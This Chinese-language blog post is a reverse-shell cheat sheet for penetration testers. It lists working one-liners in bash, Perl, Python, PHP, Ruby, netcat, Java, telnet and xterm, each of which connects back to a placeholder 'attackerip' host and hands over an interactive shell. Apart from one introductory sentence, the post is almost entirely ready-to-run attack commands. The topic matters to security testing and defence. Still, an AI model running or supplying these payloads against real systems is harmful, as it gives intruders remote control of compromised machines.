网络安全实验室webWeb安全

Reverse Shell 备忘录

2017-12-19  本文已影响22人  RedTeamWing

在渗透测试中,若目标存在命令执行漏洞,我们的最终目标是获得目标的系统权限,在那之前我们可以利用命令执行建立一个交互式shell,环境不同,反弹shell的姿势也不一样,下面的根据不同环境来量身定制!

bash

bash -i >& /dev/tcp/attackerip/8080 0>&1

Perl

perl -e 'use Socket;$i="attackerip";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("attackerip",5555);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("attackerip",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

nc -e /bin/sh attackerip 5555

如果您安装了netcat的错误版本,您仍可以像这样获取您的反向shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip 5555 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p
Or:
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445   # Remember to listen on your machine also on port 4445/tcp

xterm

xterm -display attackerip:1

The End!

hackerwing.com

上一篇下一篇

猜你喜欢

热点阅读